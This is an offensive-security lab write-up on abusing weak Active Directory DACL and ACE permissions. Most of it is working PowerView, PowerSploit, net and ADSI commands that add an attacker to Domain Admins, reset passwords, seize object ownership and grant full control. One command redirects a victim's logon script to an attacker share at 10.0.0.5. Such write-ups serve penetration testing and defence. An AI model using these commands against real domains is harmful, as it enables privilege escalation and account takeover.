This lab is to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Acccess Control Entries (ACEs) that make up DACLs.
Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc).
An example of ACEs for the "Domain Admins" securable object can be seen here:
Some of the Active Directory object permissions and types that we as attackers are interested in:
- GenericAll - full rights to the object (add users to a group or reset user's password)
- GenericWrite - update object's attributes (i.e logon script)
- WriteOwner - change object owner to attacker controlled user take over the object
- WriteDACL - modify object's ACEs and give attacker full control right over the object
- AllExtendedRights - ability to add user to a group or reset password
- ForceChangePassword - ability to change user's password
- Self (Self-Membership) - ability to add yourself to a group
In this lab, we are going to explore and try to exploit most of the above ACEs.
Using powerview, let's check if our attacking user spotless
has GenericAll rights
on the AD object for the user delegate
:
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
We can see that indeed our user spotless
has the GenericAll
rights, effectively enabling the attacker to take over the account:
We can reset user's delegate
password without knowing the current password:
Let's see if Domain admins
group has any weak permissions. First of, let's get its distinguishedName
:
Get-NetGroup "domain admins" -FullData
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}
We can see that our attacking user spotless
has GenericAll
rights once again:
Effectively, this allows us to add ourselves (the user spotless
) to the Domain Admin
group:
net group "domain admins" spotless /add /domain
Same could be achieved with Active Directory or PowerSploit module:
# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless
# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
If you have these privileges on a Computer object, you can pull Kerberos Resource-based Constrained Delegation: Computer Object Take Over off.
If our controlled user has WriteProperty
right on All
objects for Domain Admin
group:
We can again add ourselves to the Domain Admins
group and escalate privileges:
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
Another privilege that enables the attacker adding themselves to a group:
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
One more privilege that enables the attacker adding themselves to a group:
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
If we have ExtendedRight
on User-Force-Change-Password
object type, we can reset the user's password without knowing their current password:
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Doing the same with powerview:
Set-DomainUserPassword -Identity delegate -Verbose
Another method that does not require fiddling with password-secure-string conversion:
$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose
...or a one liner if no interactive session is not available:
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Note how before the attack the owner of Domain Admins
is Domain Admins
:
After the ACE enumeration, if we find that a user in our control has WriteOwner
rights on ObjectType:All
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
...we can change the Domain Admins
object's owner to our user, which in our case is spotless
. Note that the SID specified with -Identity
is the SID of the Domain Admins
group:
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
WriteProperty
on an ObjectType
, which in this particular case is Script-Path
, allows the attacker to overwrite the logon script path of the delegate
user, which means that the next time, when the user delegate
logs on, their system will execute our malicious script:
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
Below shows the user's logon script field got updated in the AD:delegate
If you are the owner of a group, like I'm the owner of a Test
AD group:
Which you can of course do through powershell:
([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value
And you have a WriteDACL
on that AD object:
...you can give yourself GenericAll
privileges with a sprinkle of ADSI sorcery:
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
Which means you now fully control the AD object:
This effectively means that you can now add new users to the group.
Interesting to note that I could not abuse these privileges by using Active Directory module and Set-Acl
/ Get-Acl
cmdlets:
$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl
{% embed url="https://wald0.com/?p=112" %}
{% embed url="https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2" %}
{% embed url="https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/" %}
{% embed url="https://adsecurity.org/?p=3658" %}